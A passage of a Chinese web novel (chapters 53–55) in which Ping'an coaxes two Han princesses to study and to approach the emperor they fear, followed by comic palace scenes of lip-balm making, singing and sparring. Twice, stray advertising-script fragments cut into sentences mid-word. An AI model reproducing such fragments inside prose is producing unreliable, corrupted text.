“那倒不至于,长安很爱惜自己的性命,只是不想这个身体长生不死而已,他比较接受自己寿终正寝。”平安忽然想到任务的重点,赶紧往回拉,“哦,话题扯远了,所以公主要好好读书啊,字都认不全,长安是不会和你做朋友的。当然也不是随意读了几本书就可以和长安做朋友,要认真为学,读出心得,才会产生灵气,才会吸引到长安。” “怪不得长安生了怪病长不大,总是妖里妖气的欺负我,原来长安是专门吸食读书人灵气的精怪。”柳花郎嘟囔着。 平安抬手就是一巴掌,“去死吧,读书人的灵气,不是只吸引精怪邪祟,也会吸引正派的人和仙灵,物以类聚人以群分,君子互相吸引,却也遭遇小人,长安这样纯洁的灵魂,喜欢亲近美好,他本身就是很厉害的读书人,和读书人在一起是灵魂的互相滋养。哪里是什么吸食灵气的精怪,柳花郎你不要胡乱泼长安脏水,要不然我给你告长安,就说你记私仇,暗地里编排诅咒他。”柳花郎果然吓得连连保证再也不敢胡说八道了。 平安又对着公主道:“你们看这就是读书少的结果,咱们即便感受不到读书人的灵气,也会讨厌柳花郎这种不读书人的浊气,对吧。”公主们很是赞同的点点头,柳花郎抽了抽嘴角,但还是给了平安一个愿意继续配合眼神。 荣玥拉着平安提议,“那咱们学祝英台女扮男装去学宫读书啊。” 平安想了一下才道:“学宫不是随意可以去的,而且公主金枝玉叶的,去那些男人聚集的地方不好,虽然戏本子上是歌颂梁祝的爱情的,但到底放在现实就很不值得提倡,真学祝英台一样,怕是咱们书没读好,还惹出乱七八糟的孽缘,就算别人不笑话,不当做茶余饭后的谈资消遣,丢了皇家颜面不说,只说恋人生离死别,彼此煎熬,痛苦一生,也枉费了当初去学堂读书的初衷啊。嗯……那前一阵子淑贵妃娘娘不是在文渊阁给秦王殿下设置了内宫学馆嘛,说是还请了翰林院的大学士授课,后来也没用上,嗯……反正学馆都设好了,空着也浪费,不如公主去用啊,再请淑贵妃娘娘帮公主们挑选几个高门贵女做伴读,就算读不成状元,公主出阁之前结上几个知书达理的手帕交,做一辈子的闺中密友好知己,也不负此生啊。” 53. 觐言 荣玥荣珺两位公主听了平安的话,相视一看,竟流露出伤感,平安不安的问怎么了。 “我母妃现在是淑妃,还没有恢复贵妃的位份。”荣玥低声道:“你说的那些,怕是不行。” 荣珺伤心的哭起来,哽咽道:“是啊,母妃一直在闭宫思过,我们很久都没见过母妃了,九哥哥也搬出宫了,都不和我们玩了。” “昨个九哥见了我们才匆匆说了几句话,红着眼圈就跑了。”荣玥含泪道。 平安心下了然,这兄妹三人,是不敢在陛下兴头上感伤落泪的,背地里偷偷地也不敢,相见不如不见,于是秦王见了妹妹,不仅不敢亲近,还躲开了。 “秦王看着比以前稳重多了,像是一下子长大了一样,之前在上林苑还跟着我前后姐姐长姐姐短的一起玩耍呢……”平安跟着伤怀,忽然想到什么,眼睛一亮,道:“你们是公主,是皇帝的女儿,有什么是不行的?两位公主不妨去跟陛下请个恩典啊,你们啊一个马上笄礼,一个还尚且年幼,正是需要母亲教养的时候,去求个恩典,这样淑妃娘娘可以放出来了,你们有母亲照料,也有书读,还能结交年纪相仿的伴读做手帕交,一举好几得,陛下那么英明不会不同意的。” “那到时候你也来做伴读好不好。”荣珺期盼道。 “不好吧,先不说我身份低微,就说我马上要成亲了,不好去凑这个热闹。”平安婉拒。 “你马上要嫁人啦?” 平安笑道:“对啊,本来咱们大汉女子年满十四就成年可以嫁人啦,但是我那会儿心里胆怯,虽然对方是心心念念想要嫁的心爱之人没错,却也还是完全没有办法做好为人妻的准备,那时长安不在身边,我无父无母没人教导我怎样做一个宜其家室的妇人,我好惶恐好无助啊,郑清那时也茫然。好在大汉不是十几二十几年前那会儿,对嫁娶的年龄限制严苛。现在好多人家的女儿年满十四岁以后或者先订婚或者干脆缴纳罚金,总之会在家再留两年,等十六七了才嫁人的,所以我也等了两年。现在好啦,感觉自己长大了,郑清也十八了,比之前心智成熟好多,很多事都能独当一面啦,我现在有绝对的信心和他相扶相持组建家庭,生儿育女,无论遇到什么事情,我想我们都不会怕不会慌,会坦然面对,沉着应对。其实本来我是想等到郑清二十岁的,总觉得男人二十岁成年成家比较好,可是我最近遇到一些麻烦,想早一点嫁人安顿下来,少生事端,长安也很支持。” 荣玥看着岁月静好的平安,很是羡慕,想到自己的事情,不由忧思,“腊月,今年腊月,我也要行笄礼了,和那时的你一样我其实也很惶恐,希望就算我成年了,父皇也多留我两年,再给我两年时间,我想,到那个时候我也会像平安你现在一样成熟稳重。” “啊,公主也惶恐吗?”平安有些吃惊,毕竟荣玥是公主,父母健在,又不是孤苦无依,惶恐无助。但平安很能理解一个小姑娘对未知的恐惧,于是鼓励荣玥,“那有什么关系,公主殿下有天下最强大的父亲,心里有什么不安和惶恐,就去和陛下说啊,有什么是天子不能解决的!” 荣玥瑶瑶头,道:“……你不懂。” 平安心道我有什么不懂的,且不说我本就是大唐的皇亲国戚,只说我活了两世,还有什么不懂呢?平安微微笑,语气柔和的激将道:“有什么想法就去跟陛下说啊,怎么好像和自己爹爹不熟的样子。” 荣玥闻言惊得抬头看了平安一眼,她没想到平安会这么直戳要害,支吾了半天,只低声羞怯道:“我有些怕,我其实很,害怕……他。” “嗯?自己父亲有什么好怕啊,你父亲那可是陛下啊,大汉的天子,是咱们最最仁慈的陛下,陛下的仁慈天下皆知,百姓都爱戴他,你是他女儿反倒畏惧,我不是很能理解哎。”平安对荣玥害怕刘景这件事,有些不悦,许是从小失去父母,她对父母的感情和渴望,或许只有同样失去父母的人才能理解,而她也不能理解父母双全却心生畏惧的事情。 平安试着从荣玥的立场思考,却根本没办法体谅,“子女可以敬畏父亲,却不应该害怕成这样,连心里的想法都不敢和自己亲爹说,天下没有疏远父亲到这种地步的,如果你父亲是一般人我就不说什么了,但你父亲是陛下啊,你怕成那样,我有种自己很崇拜的神明被人讨厌的不悦感。”平安接着道:“我和长安啊郑清啊堂邑夫啊等等等等,我们都很爱很爱陛下的。” “我是那个等等等等?”柳花郎悄悄哼了一声,自顾自道。 平安看到荣玥羞愧低头,心下不忍个,放缓了语气,温柔地牵起荣玥的手,和蔼道:“我们爱陛下,他是天下的父亲,当然敬畏,因为他是高高在上的皇帝,是这世间的神明,但是我们内心对他并没有恐惧,对他是真正的爱戴。 长安总说啊,陛下是一位很了不起的皇帝,太祖开国,在位二十四年重拾旧山河,将烂摊子一样百废待兴大厦倾覆的大汉扶起,高祖接过重任在位十一年,大汉在他手里继往开来,施行仁政与民休息,国家日渐强大,可是高祖做太子的时候就帮着太祖皇帝治国积劳成疾,妻儿先后离世也给他造成重创,最终壮志未酬。 如今的大汉国力与日俱增,使南唐忌惮,被鞑奴惧怕。三朝帝王的努力,大汉终于在咱们陛下手上完成真正意义上的强国富国,使北上抗击鞑奴各部成为可能,为以后南北统一奠定了坚实的基础。大乱战以后的大汉太难了太不容易了,长安说陛下在两朝帝王的基础上青出于蓝,尤其近十年国力翻了不知多少倍,十几年前像桑怀民那样的巨商屈指可数,现如今比比皆是,国家是真的富起来了,作出如此政绩,对比前两位帝王的政绩和在位时间来计算,陛下的政绩之强之快,起码提前了两代帝王,也就是说陛下即位以来到如今,连孙子的活都干完了,这样的丰功伟绩,超过古往今来任何一代君王。 长安崇拜陛下崇拜的不得了,她说历史上很多君王文治武功,文韬武略,但都精于权谋吏治,疏于民生财政,唯有陛下是千年一遇的经济大材,在民生财政上的才干说是经天纬地也不为过。陛下当年少年天子,即位之初根基不稳,又有太后挟制,却依然能力挽狂澜大刀阔斧推行新政,广纳贤良唯才是用,把积贫积弱的国家治理成如今这样,实乃盖世之功。 长安还特别和我说一朝天子一朝臣,陛下却是古往今来,唯一兄终弟及而能得到前朝臣子真心辅佐,誓死效忠的皇帝,得道多助,陛下是有大德的,所以陛下一朝人才济济,文臣不贪财,武将不怕死,亲王不纨绔,勋贵不跋扈,一切都朝着太平盛世发展,这样的国家这样的陛下谁不爱啊? 这可不是溢美之词哦,陛下也不需要我这样低微的女子歌功颂德,这是天下人的共识,总之我和长安很喜爱陛下,也,也很心疼陛下,陛下身体一直在调养中,是因为之前励精图治,呕心沥血,消耗的太狠了,把身体累坏了。不过好在有神医苏和,一定是上苍的安排,老天都喜爱陛下助益陛下呢。长安说陛下好好调理身体,福泽绵延千秋万岁,定能再创不世之功,成为千古一帝,那么太子以后就是个太平天子,你们这些陛下的儿女就是太平亲王太平公主,端享盛世,你们啊能做陛下的儿女简直是几辈子十几辈子才修来的福德。 所以公主,不要惧怕陛下,要喜欢他,要爱他,要承欢膝下。 公主啊,陛下不是那种爱美人不爱江山的君王,一心政务,去后宫的次数想来是少的,你又不是男孩子,又不能像哥哥们一样从小跟在陛下身边时常见他。再者父爱本就如山,不言不语,却也沉重,陛下太忙了,没能让公主感受到父爱,陛下也会感到愧疚,你要多谅解啊。 男人嘛事业和家庭不能兼顾的。陛下是这天下最尊贵的男人却也是最任重的男人,他那么努力,国泰民安,天下无数家庭的女儿是受陛下庇佑才能安然享受父亲的宠爱,他自家的女儿倒顾不上了。你是公主受天下供养,有些地方就是会不如意,就是反而会没有寻常家女儿顺心,这很正常,其实说到底陛下是爱你的,所做的一切,不光为了天下,也为了公主的啊。” “为了我?” “对啊,不然你以为陛下顶着太后的压力,极力支持太子殿下主战是为了什么,难道是为了公主一成 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 年就被送去和亲吗?遣妾一身安社稷,不知何处用将军。是女人的悲哀和绝望,更是男人的无奈和耻辱,要破这个局,就要国家强盛,别无他法,只有太平盛世的公主才不用和亲。老唐一千年,强盛八百年,八百年里是没送出一个公主和亲的,晚唐的公主,却命贱如草,亲王也难逃折辱。只有国家强盛,公主才是公主,不然就是敌国胯~下的玩物。陛下宵衣旰食,富国强兵,寸土必争,为的就是你啊!君王死社稷,天子守国门,你是陛下最爱的城池,岂可拱手送人。” “平安……我……”荣玥不知是感动,还是被“和亲”两个字吓到了,竟哭起来。她自然知道自己是大汉皇帝唯二的公主,且马上成年,很多人盯着呢,她的母妃也为此愁思谋划,她也知道如今她只能自救,她觉得平安说的很对,可她今日才发现自己脑袋空空的,就算平安讲的道理已经完全说服她,她还是不知道该怎么办,她想完全依附着平安,希望平安再细细的教教自己,又怕自己太笨,惹平安厌恶,只能哭泣…… 平安没想到荣玥是这个反应,一时有些慌了,“别哭啊,一会儿陛下忙完政务,你就去亲近一下陛下。昨晚陛下为了让咱们睡得舒服一些,自己跑去偏殿呢,可见是疼爱公主的。你是女孩子,又不是男孩子,他是父亲,又不是母亲,你不主动亲近他,他没办法亲近你的。他呀才是不敢又不好意思的那一个,生疏得太久,担心突然的热情吓到你,于是踌躇,所以他再怎么想亲近你也一定不会主动靠近你的。 好了好了先别哭嘛,我知道,你嘴上说害怕他,但到底是爱他的啊,那是你的父亲嘛,骨肉相连,不然怎么会一大早就带着妹妹为他插这么好看的一大束瓶花啊?人啊,看到花总是开心的,你内心是极其希望陛下开心的,哪怕是片刻,不是吗?来了汤泉宫也不想走,想陪着多住两日,哪怕是远远看他一眼。 看到他政务繁忙,担心他身体,还特意嘱托御厨做些滋补的汤羹,你这么爱他,那干嘛要因为胆怯,远远躲避,你就要成年了,接着就要议亲,再躲就真没机会了哦。” “对,不躲也就两三年的光景,再躲,过完年就该嫁了。”柳花郎熬着蜜蜡,配合平安加了把火候,强调道。 荣玥哭得梨花带雨,闻言着急站起身,却依旧挪不开脚,只得又向平安求助,语气恳求,“平安姐姐,你帮我去说可不可以?” “不可以。”平安断然拒绝,温柔扶着荣玥,软下语气道:“有些坎儿你得自己迈过去,谁也不能帮,也帮不了,哎呦,很简单的,你就去抱抱他,亲亲他啊,他是你父亲,你不要怕嘛。”看着可怜的荣玥,平安心软的不行,道:“那好吧,我帮你一次吧。谁叫你那么美丽善良又可爱,对我那么那么好。嗯……我想想哈,毕竟我和陛下也不熟,不像长安和陛下那样,贸然接近一个这么有人格魅力且神明一样的男人我也挺害怕挺紧张的,得好好想想,急不得急不得,咱们还是先把口脂做完吧。” 这任务是长安交给她,她可不能胡来,她今天做说客,说的已经够多了,智慧也用的差不多了,再攻略下去,怕是说多错多,做多误多,弄巧成拙可不好,还是先按下,从长计议。 荣珺有些疑惑问为什么刚才催着姐姐去,此刻又急不得了。 “事缓则圆。”柳花郎解释道:“你们是公主,找陛下那是随时的事儿,我们是什么身份,就算是帮公主办事,那陛下是我们相见就见,恩典是我们想要就要的吗?肯定要从长计议啊。” 平安正思量着,水榭侧门外面就传来堂邑夫的声音,说是把衣服拿过来了,平安开心地起身去拿进来,把柳花郎赶出去,顺便让他给满头大汗的堂邑夫端去一壶水,走到水榭隔间里面换好衣服,在镜子前转了几圈,很是满意。荣玥荣珺都移不开眼,赞叹果真是林间的精灵。 任务办到自己身上,平安想要脱身,着急出发去找长安汇报,便匆匆跟公主告辞出了水榭,平安推开门忽然停下脚步看着外面刺眼的阳光,蹙眉对着侧门牛饮茶水的堂邑夫,生气道:“堂邑夫你好慢,太阳都这么高这么烈了,我还怎么去马场找郑清?” 54. 练功 “当然是骑马去。”你还想飞着去啊?忽然被吼,堂邑夫有些受伤,“我紧赶慢赶,满头大汗你也看到嘛,赏我壶水就打发了?不说谢谢,还埋怨我。” “我才不要谢你,大傻子,大傻子,我不知道骑马去吗?我是说这么大太阳会晒黑我的,我晒黑了郑清会不喜欢的。”平安对着堂邑夫发怒,委屈极了,眼瞅着就要掉眼泪,仿佛她已经晒黑了,郑清已经不爱她了。 堂邑夫无语的看了看柳花郎,无奈的摇摇头,可自家妹子还是要哄的,“怎么会呐,你那么白,怎么会一晒就黑了,就不喜欢了呢?那个大傻子马晒黑了他还能瞧出不同来,你晒不晒黑他根本都看不出来的好吧,你得晒的和墨汁一样,他才会考虑喜不喜欢的问题吧。” “你才和墨汁一样黑。”平安顿时气得收回眼泪,在堂邑夫胸口狠狠打了一记粉拳。 “我只是打个比方嘛。”堂邑夫揉着胸口,说道。 平安看了看外面烈日当头的,心道怎么也得等过午太阳西斜,才能去马场了,于是命令道:“你俩进来。” 柳花郎顺从的端着茶壶跟上,堂邑夫不好意思起来,倚着水榭门口的柱子道:“不好吧。” “有什么不好的?……别多想,是让你帮忙做口脂,你以为干什么?柳花郎做口脂是把好手,但是论起调色就谁也不如你,你进来帮我们调色,上次的牡丹红,我涂上以后都说好看,郑清多看了我嘴巴好几眼,我用完了我还要,你给我做你给我做。”平安像跟大哥哥央求糖吃的小孩子。 “牡丹红很难配的,花期又过啦,再说当时给你做了一大罐子,你是天天抱着吃吗,用那么快?哎呦……”堂邑夫又挨了平安几下,平安冷脸瞪着他,手指着他,警告他再拒绝还揍他,堂邑夫屈服道:“好啦,你不要动不动就打我,长安也不舍得老这么打我的,好嘛我看看有什么花,给你配个新色。” “螳螂哥哥你真好。”平安笑嘻嘻地说完转身进去,却还是只有柳花郎跟了上来,就折回去一脸疑惑的看着堂邑夫,撅着嘴巴气道:“你诓我?” 堂邑夫有些尴尬道:“没有,我一身臭汗怎么去做女孩子家家用的东西啊。” “那你去沐浴更衣啊。”平安见堂邑夫站着不动,神色不自在,思量着应该是没有换洗衣物了,就从她大包包里拿出一个包裹,递给堂邑夫道:“巧了,我做了两身常服,一身水绿色的一身水蓝色的,正合适夏天穿的颜色,你的那套在家,这身原是要拿给郑清的,你和郑清身形差不多,你先拿去穿吧,里里外外一整套,连袜子都有。” 堂邑夫接过包袱,掀开一角,看了看料子,道:“妹妹你也太舍得了吧,这么好的料子,让郑清穿着驯马啊。” “哎呦都说这是常服,郑清不会穿去驯马的,你赶紧去沐浴更衣吧,别让公主等急了。”平安说完走进水榭,让女官吩咐宫人们将屏风抬过来,请两位公主到屏风内侧,说做口脂这么麻烦的事,就交给那个两个男的,她们休闲娱乐,对弈品茗,看书聊天也行。 荣珺不解为什么要将水榭隔开,平安道:“柳花郎是宫廷乐师,本就是供皇室享乐的,他来伺候公主无可厚非,但是堂邑夫不一样,他是学宫学生,属于外男,公主召见他只能隔着屏风,这样才合礼数。” 堂邑夫整理妥当,一身水蓝色的武装常服,让他看起来挺拔又清爽,在水榭外面恭恭敬敬行礼觐见公主,得了公主传唤吩咐,便和柳花郎在屏风外侧一道做口脂,他先让人取了烈酒净手,又用薄如蝉翼的丝帕覆面,挡住口鼻,说是避免男子的浊气污染材料,柳花郎也有样学样。 堂邑夫见柳花郎和平安她们之前做的半成品,实在一般,过不了他那关,就全部舍弃,选取新鲜花材,重新研磨捣碎,又叫平安出来,道:“授人以鱼不如授人以渔,你学着点。” 平安在屏风里和公主吃着茶点赏荷,心情愉悦,哼唱着《江南可采莲》好不自在,一听堂邑夫的要求就头大,不肯出来,“不要学,不要学,就要你做的,我做的不好,还白瞎了好东西,回头又作废了,多让人心疼,这会儿大太阳我出不去,可也不清闲,趁这功夫我还要练功呢,我正好每天晌午都要坚持练功的。” “练功?”堂邑夫闻言手下一顿,心中一紧,“你跟着长安学武功啦,什么时候的事?”昨天长安才又提了一嘴,这就练上了?这手上没功夫就已经喜欢没事儿打他两下撒火了,那要是再练了上乘的武艺,他不得给这姐妹儿打残废了?“早先长安要教你,你不是怕辛苦不学吗?怎么……你进步不要太快哈,我担心以后会被打死。” 平安走出屏风,给堂邑夫一个白眼,“打不死你打不死你,我才不要练武,我说的是练唱功,我讨厌出汗,又怕辛苦,以前在王府练舞我都不愿意,怎么会跟着长安学武艺呢,唱功也是要练的,我呢,每天都要坚持练功的,每天最起码要唱一首歌的。”平安踱着步子,一边掰着指头一边道:“嗯,我算一算啊,我大概有……十天没练功了,今儿个得补唱十首,正好柳花郎在,花郎你给我伴奏,我唱十首歌打个卡。” 柳花郎呵呵一笑,应下。 平安走到一边书案旁,研墨提笔思考着写写停停,写了满满一张纸,又筛减了一些,划掉,再填补了一些。 堂邑夫一边做口脂,一边学着平安的样子,故意夸张,嘟囔道:“我每天都练功我十天没练了,今儿个得补十首……我练功要是每天都这么个坚持法儿,长安得打死我。还打卡?得打折!” 正跟柳花郎商量歌单的平安,抬头瞪了堂邑夫一眼,怒眉问道:“你在嘟囔什么?” “我说我有耳福啦,打算多给你和公主调几个色儿。”堂邑夫立马改口。 平安对柳花郎道:“喏,那就敲定这个歌单吧。从平缓的到高亢的,我缓缓的练练嗓子,你指点我一下下。” 柳花郎去汤泉宫乐府乐人厅,取了乐器来,他自己提了一个大箱子进来,身后还跟着两个女乐师,说是来记谱的。平安看见柳花郎取出吉他,瞬间心跳加速,惊喜得说不出话来,只顾着哇哇赞叹,柳花郎又神神秘秘地取出一个系着蝴蝶结的尤克里里送给她,还有一个拇指琴卡林巴,平安收到礼物简直开心到爆炸,试着弹了两下,欢喜的转圈圈,对柳花郎溢美之词滔滔不绝。 柳花郎喜欢看平安开心快乐,说本来是要给平安惊喜的,可是难得今天平安有兴致,惊喜常有,兴致不常有。 柳花郎这些年都没太有时间精力和心思,钻研音乐,制作新式乐器这一块儿更是想都不曾想,还是平安给他的启发,他在魂穿之前家里就是做和乐器相关产业的,他自己也在知名音乐学府研修,乐器自然不在话下,是有些真本事在身上的,这把吉他也不过是小试牛刀,他还有更大的惊喜在后头,到底要先瞒着平安。 平安先唱了一首《我在异乡为异客》,又唱了《棠梨煮雪》,接着又唱了几首,最后唱了《不染》《回归》《左手指月》,又在柳花郎的指导下唱了一曲双词的《为爱成魔》,《宿命横着写》。 想着长安喜欢《回归》,平安又加练了一遍。 “为什么你的歌里有很多流浪故乡回家这样的词汇,你的家不是在长安城外吗?”荣珺不解道。 平安感叹公主年纪小,却很聪慧。 “那是我的家,但非我故乡,有父母的地方才是故乡啊,尚有双亲,人生自有来处,我和长安五六岁上就痛失家人,我们人生只有归处了。我们也曾高高在上,突逢变故,碾落成泥……都不解我为什么那么喜爱郑清,那是因为倘若没有他,我早就因为不肯沦为男人的玩物自戕身亡了,我现在的每一天都是他给的。天子是世间的神明,而他是我一个人的神明。所以我愿承受千生万生的罪,换他生生世世爱我。”平安说完,扫了一眼堂邑夫做的口脂,蹙眉气道:“怎么是绛紫色,做不出牡丹红,做个颜色差不多的也行,怎么差那么多,这个颜色涂在嘴巴上像中毒了一样,郑清不会喜欢的。” 刚刚还像一个出尘的清幽仙子,画风忽然转变,让人有些跳脱。 “别气别气,洛神花口脂就是这样的,这个还没蒸煮,你稍安勿躁嘛,等一会儿金粉研磨好了加进去,你再下定论。”堂邑夫耐心的解释。“你看这个紫草口脂,刚才也是很深的,现在多艳丽,薄涂最好看了,等凝固好了你试试。我的水平你还不相信吗?你都跟公主显摆完了,我哪能给你跌份儿。”堂邑夫一脸你放心的样子。 平安安下心来,看着刚加热完,还翻涌着金粉的紫草口脂汁液,点点头,她对堂邑夫做口脂的能力还是很认可的,之前还想着是不是要开一个口脂店铺,结果堂邑夫说会累死他的,说还是平安独自美丽吧,便不了了之了。“螳螂哥哥你真的好懂这些女人的东西啊。” “我就当你这是夸我了。”堂邑夫挑挑眉。 确实,说一个大男人很懂女人的东西,并不是夸奖,反而讽刺,但奈何平安说得真诚呢。平安呵呵一笑。真好,自从和长安重逢,身边的朋友也多了,日子也丰富起来了。 荣珺把平安叫进屏风里,询问平安读什么书产生灵气最快,平安说她也不懂,大概不分什么书,只要踏踏实实的一点点读,有朝一日读出心得,能出口成章就算有了。 “最起码要经历看山是山,看水是水;看山不是山,看水不是水;看山 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又是山,看水还是水的三个境界吧。最起码别人跟你说话你能听懂弦外之音吧。比如有一个人跟你说今晚清风朗月,微风正好,月色正好。你要知道他说的不是清风好,朗月好,他说的啊其实是你好,你可不要纠结风明明很大,今晚也没有月亮之类的事情,不然就会很煞风景。他只是想表达,你好,所以世间万物都好。” “好复杂啊。” “所以要多读书啊,不然有人跟你说‘山有木兮木有枝’,你都不知道他其实是在责怪你‘心悦卿兮卿不知’。” “那我要好好读书了,免得被当成绣花枕头。” 女孩子们一起喝桑葚子果饮,平安又要了桃花酿,几杯酒下肚,就有些昏昏沉沉,正好堂邑夫也做好口脂了,带着柳花郎退下去的时候嘱托平安微醺即可,不要喝太多,平安点头答应,却还是忍不住贪杯,不一会儿就醉了,却借口昨晚睡太晚要补个觉,踢飞了鞋子,在临窗的贵妃榻上倒头就睡。 两位公主见她那样子,忍俊不禁。 柳花郎送记谱的两位女乐师回去,久久不见回来,也不知上哪去躲懒了,堂邑夫守在水榭外的阴凉处练功,韩燕熙过来二话不说就要闯进水榭去,被堂邑夫两个招式顶了回去。 韩燕熙恼怒的看着堂邑夫,不敢轻举妄动。堂邑夫惊奇地看着双手,不禁自言自语道:“哇呜,长安升入玄止境,自创的招式果然厉害。”腰板挺得更直,仰着头,对着韩燕熙冷声道:“我虽然内力不如你,但真动起手来,也绝对不会叫你轻易赢了去,你若还要擅闯我必抵死守护,惊扰了陛下,殿下也护不住你。” 韩燕熙呵呵一笑,狡辩道:“你想多了,我只是想从水榭借道去正殿罢了。” 这处水榭和汤泉宫正殿隔着莲池,中有小桥连通,韩燕熙从亲王那边过来,借道小桥,横穿莲池,倒真是捷径。 堂邑夫挑挑眉,用下巴指了一下远处围绕莲池一周的路,“还请你高抬贵腿,绕个道,多走两步了。” 韩燕熙讪讪,却见亲王们从紫竹林出来,都绕行那条路,便不情不愿,哼了一声,走了。 柳花郎不知从哪冒出来,对着堂邑夫一边比划一边夸赞道:“哇哇哇,堂邑夫你好厉害啊,就这么刷刷刷,就把他顶出去了。” “是长安厉害。”堂邑夫骄傲的扬了扬下巴。 “那个玄止境是什么意思啊?”柳花郎满脸好学地请教。 “世间武学分九品,九品之上就是玄止境,是武学的巅峰,意思是武学到此就终止了,在往上就是修仙,不是凡人的修行。凡人到达玄止境,就可以对阴阳五行融会贯通运用自如,可以开创新的招式和心法,也就是说可以独门立派,自创分支,做自家武学的开山鼻祖,长安已经到达了玄止境,即便内力有些折耗,境界在哪儿,也仍然可以拈花做刀,折草当剑,化水为冰。这就是玄止境的厉害……” 柳花郎认真听着,一脸思量。 堂邑夫走到莲池边,看了看水中自己的倒影,观察脸上的伤,继续道:“昨天教我的三招便是长安自创的,没想到我昨晚练了大半晚,早上巩固了一下,方才复习了一下,就大有可为,竟可以逼退韩燕熙……我得赶紧再多练习练习,好和长安再多学几招。哎呀,痛失机会啊,今日应该跟着去马场,跟着再学两招的,唉。”堂邑夫懊恼的不行。 日头西斜,平安睡醒了,懊悔的不行,埋怨堂邑夫只顾着在外面练功,都不早点叫醒她。早上吃的不多,错过午膳,她便饿的发脾气,责怪堂邑夫废寝忘食,自己不饿就不知道把她叫起来吃饭吗? 荣玥公主说:“堂邑夫也不是忘了,是我们两个叫了你两次都让你撵了,你起床气好大,好吓人呢。” 平安涨红着脸道:“那是一定因为喝了酒的缘故,我平时很温柔的。” 堂邑夫没好气的说:“酒品即人品,别老往酒身上赖,你的温柔只对那一个人,别人?哼,就算公主也消受不起,你那会儿好大声,让人家公主不要吵你,不知道的还以为你是公主呢,我幸亏没上赶着叫你,不然又得和昨天一样挨一顿。哼,真是人间四大按不住。” 公主问什么是人间四大按不住。 堂邑夫坏坏一笑,“上岸的鱼,过年的猪,发疯的倔驴睡不醒的她……” “你说什么你个死螳螂?你找打,你回来,你别跑……”平安追着见势不妙拔腿就跑的堂邑夫出了水榭,原本饿得没什么力气,这会儿一下子激发了潜能,健步如飞。 “啊哈啊啊……又来啊,什么情况啊,啊啊啊……救命啊……我的天爷啊……日子没发过啦……”站在莲池边喂锦鲤的柳花郎又被连累了…… 55. 入局 我和李大公子在宫中的甬道上,就听见平安他们的争执吵闹声,才踏进正殿宫门,远远就看见堂邑夫又被平安追着打,柳花郎端着喂锦鲤的小碗,呲着牙咧着嘴,笑得像个傻子一样鬼鬼祟祟跟在后面看热闹,后来平安没追上堂邑夫,转身回去,对上柳花郎,就把柳花郎给按倒揍了。 侍卫们见郎卫长回来了,收回看热闹的视线,敛了神色,继续威武的站岗。我再三谢过李大公子,目送他拾阶进殿。 柳花郎叫的声音太浪了,平安也毫无收敛,堂邑夫幸灾乐祸,两位公主还在一边叫好,我瞬间脑瓜子嗡嗡的,陛下太子他们都还在忙政务呢,这几个人真是无法无天,是把汤泉宫当自家院子了吗?我恐怕惊扰了上位者,落下罪来,就赶忙飞身过去叫停了他们。 平安看见我回来,脸色瞬间放晴,又见我戴着虎头帽子,如此可爱,喜欢的不得了,迎上来:“长安你回来了,好可爱,哪里弄得虎头帽子?带上像小一只奶凶奶凶的小老虎。不过这个天儿,不是带这个的时候吧,热不热?” “不热,我可是玄止境,四时天气影响不到我的。你家郑清拿给我的,说是咱们小时候,就那年,过年的时候,我不是看着人家的虎头帽子发呆很想要嘛,前一阵子他翻箱倒柜找出来的。”我看着平安道:“你没认出来啊?他说这是你早些年做给他的,做的太小,他年岁也大了,没戴就收起来了。” “啊,我说怎么这么眼熟。”平安仔细抱着我的头,看了看道。 “你早些年的针线活儿还挺好的嘛。”我表示赞许,又问道:“怎么这些年越长大越倒退呢?” “嗯,手生了嘛,这不是最近一直在给你做肚兜练手嘛,以后熟练了,好给你外甥做。” 果然是拿我练手,我撅着嘴巴,“合着就我一个人一直穿破烂儿呗。” 平安说做的虽然不好,但都是满满的爱,让我不要挑剔。 “那妹妹你的爱也太沉甸甸了吧?无边无尽的丑肚兜,都给我整自卑了。先敬罗衣后敬人,我是抛头露脸的人,需要衣冠震小人你懂不懂?” “肚兜穿里边,你还到处脱给别人看吗?不可以怀疑我对你的爱,有分量的爱都有点沉重,父爱还如山呢?”平安嘴上狡辩,却一脸思考。 这时候公主的宫女过来说在水榭里给平安备好了膳食,请她过去用膳。 我关心地问:“怎么这会儿还没吃饭吗?” “哦,我小憩了一会儿,睡过头了。”平安知道我不喜欢身边的人喝酒,便避重就轻,偷偷闻了闻身上,发现没有酒气,舒了口气。 我看了看她睡乱的头发,点点头,道:“那赶紧去吃吧。” 平安牵着我的手,从刚才他们打闹追赶的莲池旁的小路走回去。我问道:“我交代你的事解决了吗?” 平安停下脚步摇摇头。 “没成啊?” “也不是没成,你交代的我都说了,没教我的,我自己思量着也说了,我还加了一些你先前给我讲的志怪故事,哦,为了起到劝学的效果,让小公主专心读书不纠缠你,体谅你心疼你,我还说了一些关于你的事儿,你不会怪罪我吧。”平安有些发怯,毕竟她说得太多,好些不是长安交代的范畴,是她自己临场发挥的,所以劝学未成,说不定也有这些缘故。 “怪罪?不会,哪有这么严重,我的事儿无非就是病了长不大了一句话就概括了。”我思考了一下,疑惑道:“交代你的都说了,那不应该不成啊,动之情晓之理,还不成?公主是有多不爱念书?看着不像这么顽劣的啊?唉,那我可怎么脱身啊?被一个位尊权贵的小丫头缠上,说不得打不得骂不得,难道天天在她拉屎的时候站门口护法吗?我死!……”我懊恼的一甩头,虎头帽子的老虎尾巴跟着一甩。 平安见了我这样子,有些想笑,却先安慰我,“哦,公主是同意读书的,但是淑妃娘娘和文渊阁的事,不好办,公主不肯去要恩典,说是害怕陛下,不敢觐言。” “害怕陛下?不敢觐言?”我难以置信,瞪大眼睛。 “对,很害怕很害怕,按理说,又能读书,又能救娘亲出来,做女儿的怎么也是上赶着的,可咱们公主……”平安道:“是真的很畏惧陛下!” “千算万算,没算到闺女怕爹。”我不禁苦笑。 我们停下脚步,坐在莲池边的大石头上详谈,正好在大殿斜阳下的阴影里,柳花郎从水榭给平安端了一些吃食,两位公主知道我们有事相商不便打扰,只在水榭里和我互相招了招手。我看着一边的堂邑夫,见他脸上的伤恢复的很快,很满意他的进步,对他给予肯定,他还跟我显摆说他把韩燕熙给击退了。 我心道那是他不和你一般见识,但也不给堂邑夫泼冷水,只问平安道:“你跟堂邑夫又怎么了?” 